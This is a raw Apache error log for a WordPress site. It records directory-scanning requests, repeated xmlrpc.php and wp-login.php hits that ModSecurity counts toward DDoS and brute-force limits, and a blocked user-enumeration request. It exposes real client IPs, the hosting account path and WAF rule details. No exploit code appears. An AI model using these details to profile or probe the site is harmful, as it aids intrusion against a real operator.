[Fri Nov 21 05:54:54.321884 2025] [autoindex:error] [pid 13412:tid 13425] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:54.760776 2025] [autoindex:error] [pid 13412:tid 13420] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:56.800014 2025] [autoindex:error] [pid 13412:tid 13438] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:58.810378 2025] [autoindex:error] [pid 13412:tid 13421] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:59.263143 2025] [autoindex:error] [pid 13412:tid 13417] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:54:59.714587 2025] [autoindex:error] [pid 13412:tid 13427] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/images/smilies/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:55:02.189271 2025] [autoindex:error] [pid 13412:tid 13437] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/codemirror/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:55:02.631321 2025] [autoindex:error] [pid 13412:tid 13419] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/plupload/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:55:03.088436 2025] [autoindex:error] [pid 13412:tid 13418] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:55:03.537995 2025] [autoindex:error] [pid 13412:tid 13428] [client 185.251.19.193:57467] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:55:39.598174 2025] [autoindex:error] [pid 13327:tid 13389] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:55:56.110771 2025] [autoindex:error] [pid 13327:tid 13402] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:56:02.801829 2025] [autoindex:error] [pid 13327:tid 13403] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:56:03.241802 2025] [autoindex:error] [pid 13327:tid 13385] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:56:09.880349 2025] [autoindex:error] [pid 13327:tid 13386] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:56:10.323604 2025] [autoindex:error] [pid 13327:tid 13409] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:56:10.760994 2025] [autoindex:error] [pid 13327:tid 13407] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:56:11.201577 2025] [autoindex:error] [pid 13327:tid 13402] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:56:11.637913 2025] [autoindex:error] [pid 13327:tid 13408] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:56:12.076109 2025] [autoindex:error] [pid 13327:tid 13394] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:56:12.513809 2025] [autoindex:error] [pid 13327:tid 13396] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:56:12.953732 2025] [autoindex:error] [pid 13327:tid 13391] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:56:13.392440 2025] [autoindex:error] [pid 13327:tid 13395] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:56:43.402011 2025] [autoindex:error] [pid 13327:tid 13385] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 05:56:46.952621 2025] [autoindex:error] [pid 13327:tid 13403] [client 136.144.42.245:39189] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/maintenance/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Nov 21 10:38:39.058303 2025] [:error] [pid 46276:tid 46304] [client 162.0.229.219:39410] [client 162.0.229.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.229.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_Qr3bpxuSAfajqqKPBlwAAAhU"]
[Fri Nov 21 11:28:44.886643 2025] [:error] [pid 13325:tid 13351] [client 104.28.249.64:16771] [client 104.28.249.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.249.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_cbCBUXj9tD75On3D6_AAAABU"], referer: amandacamdenphotography.com/blog//wp-login.php
[Fri Nov 21 11:28:46.138894 2025] [:error] [pid 13325:tid 13344] [client 104.28.249.64:16771] [client 104.28.249.64] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aR_cbSBUXj9tD75On3D6_QAAAA4"], referer: amandacamdenphotography.com/blog//wp-login.php
[Fri Nov 21 11:28:48.970752 2025] [:error] [pid 13325:tid 13350] [client 104.28.249.64:16771] [client 104.28.249.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.249.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_ccCBUXj9tD75On3D7AAAAABQ"]
[Fri Nov 21 11:28:51.619644 2025] [:error] [pid 51434:tid 51458] [client 104.28.217.64:60377] [client 104.28.217.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.217.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_cc_U96liplEDkw_Q7ZgAAARY"]
[Fri Nov 21 11:29:11.440370 2025] [:error] [pid 17882:tid 17894] [client 104.28.217.64:34274] [client 104.28.217.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.217.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_ch4wFFssEn348h95xWQAAAUo"]
[Fri Nov 21 11:29:16.847031 2025] [:error] [pid 17882:tid 17906] [client 104.28.217.64:65219] [client 104.28.217.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.217.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_cjIwFFssEn348h95xbQAAAVY"]
[Fri Nov 21 11:29:19.112026 2025] [:error] [pid 13326:tid 13372] [client 104.28.217.64:61960] [client 104.28.217.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.217.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_cj9h942-HkDIkOWo5HAAAAE4"]
[Fri Nov 21 11:29:19.374240 2025] [:error] [pid 13326:tid 13372] [client 104.28.217.64:61960] [client 104.28.217.64] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_cj9h942-HkDIkOWo5HAAAAE4"]
[Fri Nov 21 11:29:19.383329 2025] [:error] [pid 13326:tid 13372] [client 104.28.217.64:61960] [client 104.28.217.64] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_cj9h942-HkDIkOWo5HAAAAE4"]
[Fri Nov 21 11:29:23.419952 2025] [:error] [pid 46237:tid 46251] [client 104.28.249.64:45557] [client 104.28.249.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.249.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_ckyo2qlis7MUDbMInRgAAAcw"]
[Fri Nov 21 11:29:29.865190 2025] [:error] [pid 46194:tid 46211] [client 104.28.217.64:17609] [client 104.28.217.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.217.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_cmZDRPrSqclDqoQHjAQAAAY4"]
[Fri Nov 21 11:29:37.899059 2025] [:error] [pid 13325:tid 13342] [client 104.28.249.64:45212] [client 104.28.249.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.249.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_coSBUXj9tD75On3D7IgAAAAw"]
[Fri Nov 21 11:29:44.607073 2025] [:error] [pid 17882:tid 17895] [client 104.28.249.64:44832] [client 104.28.249.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.249.64, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_cqIwFFssEn348h95xfAAAAUs"]
[Fri Nov 21 11:30:11.480709 2025] [:error] [pid 13326:tid 13366] [client 104.28.161.236:36765] [client 104.28.161.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.161.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_cw9h942-HkDIkOWo5TwAAAEg"]
[Fri Nov 21 11:30:34.073979 2025] [:error] [pid 46237:tid 46245] [client 104.28.161.236:36039] [client 104.28.161.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.161.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_c2So2qlis7MUDbMIncAAAAcY"]
[Fri Nov 21 11:30:57.723283 2025] [:error] [pid 17882:tid 17893] [client 104.28.161.236:37104] [client 104.28.161.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.161.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_c8YwFFssEn348h95xzwAAAUk"]
[Fri Nov 21 11:31:21.749925 2025] [:error] [pid 13325:tid 13336] [client 104.28.161.236:36830] [client 104.28.161.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.161.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_dCSBUXj9tD75On3D7dgAAAAY"]
[Fri Nov 21 11:31:44.853646 2025] [:error] [pid 13326:tid 13361] [client 104.28.161.236:36137] [client 104.28.161.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.161.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_dINh942-HkDIkOWo5kQAAAEM"]
[Fri Nov 21 12:04:11.772174 2025] [:error] [pid 46194:tid 46210] [client 134.255.201.92:46984] [client 134.255.201.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.255.201.92, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR_ku5DRPrSqclDqoQHokAAAAY0"]
[Fri Nov 21 12:04:17.854306 2025] [:error] [pid 13327:tid 13390] [client 134.255.201.92:44660] [client 134.255.201.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.255.201.92, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aR_kwfBXf-8B6mFkLePhfQAAAIU"], referer: https://rcacivilgroup.com/wp-login.php
[Fri Nov 21 12:41:20.712040 2025] [:error] [pid 13325:tid 13345] [client 42.96.15.201:35502] [client 42.96.15.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.15.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_tcCBUXj9tD75On3AIfQAAAA8"], referer: http://rcacivilgroup.com
[Fri Nov 21 12:49:10.871683 2025] [:error] [pid 46276:tid 46299] [client 103.31.38.163:33660] [client 103.31.38.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.31.38.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_vRnbpxuSAfajqqKPZnAAAAhA"], referer: http://rcacivilgroup.com
[Fri Nov 21 12:54:19.549674 2025] [:error] [pid 51434:tid 51444] [client 125.253.121.223:54716] [client 125.253.121.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 125.253.121.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_we_U96liplEDkw_RISAAAAQg"], referer: http://rcacivilgroup.com
[Fri Nov 21 12:56:58.560876 2025] [:error] [pid 46237:tid 46247] [client 92.205.167.152:48096] [client 92.205.167.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.167.152, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_xGio2qlis7MUDbMI3LgAAAcg"], referer: http://rcacivilgroup.com
[Fri Nov 21 13:10:59.838142 2025] [:error] [pid 51434:tid 51436] [client 4.224.244.18:46708] [client 4.224.244.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.224.244.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_0Y_U96liplEDkw_RNzAAAAQA"], referer: http://rcacivilgroup.com
[Fri Nov 21 13:33:36.567871 2025] [:error] [pid 51434:tid 51444] [client 123.1.133.4:46974] [client 123.1.133.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.1.133.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_5sPU96liplEDkw_RVawAAAQg"], referer: http://rcacivilgroup.com
[Fri Nov 21 13:55:21.780280 2025] [:error] [pid 46194:tid 46203] [client 104.219.248.116:35348] [client 104.219.248.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.219.248.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aR_-yZDRPrSqclDqoQEGzwAAAYY"], referer: http://rcacivilgroup.com
[Fri Nov 21 14:16:06.908050 2025] [:error] [pid 17882:tid 17902] [client 103.192.173.163:45806] [client 103.192.173.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.192.173.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSADpowFFssEn348h969IgAAAVI"], referer: http://rcacivilgroup.com
[Fri Nov 21 14:22:12.165394 2025] [:error] [pid 13327:tid 13396] [client 42.118.16.244:47530] [client 42.118.16.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.118.16.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSAFFPBXf-8B6mFkLeP_QgAAAIs"], referer: http://rcacivilgroup.com
[Fri Nov 21 14:51:33.317464 2025] [:error] [pid 25430:tid 25470] [client 115.190.57.183:40458] [client 115.190.57.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.190.57.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSAL9apnWJcWt_4foXkaVwAAAEo"], referer: http://rcacivilgroup.com
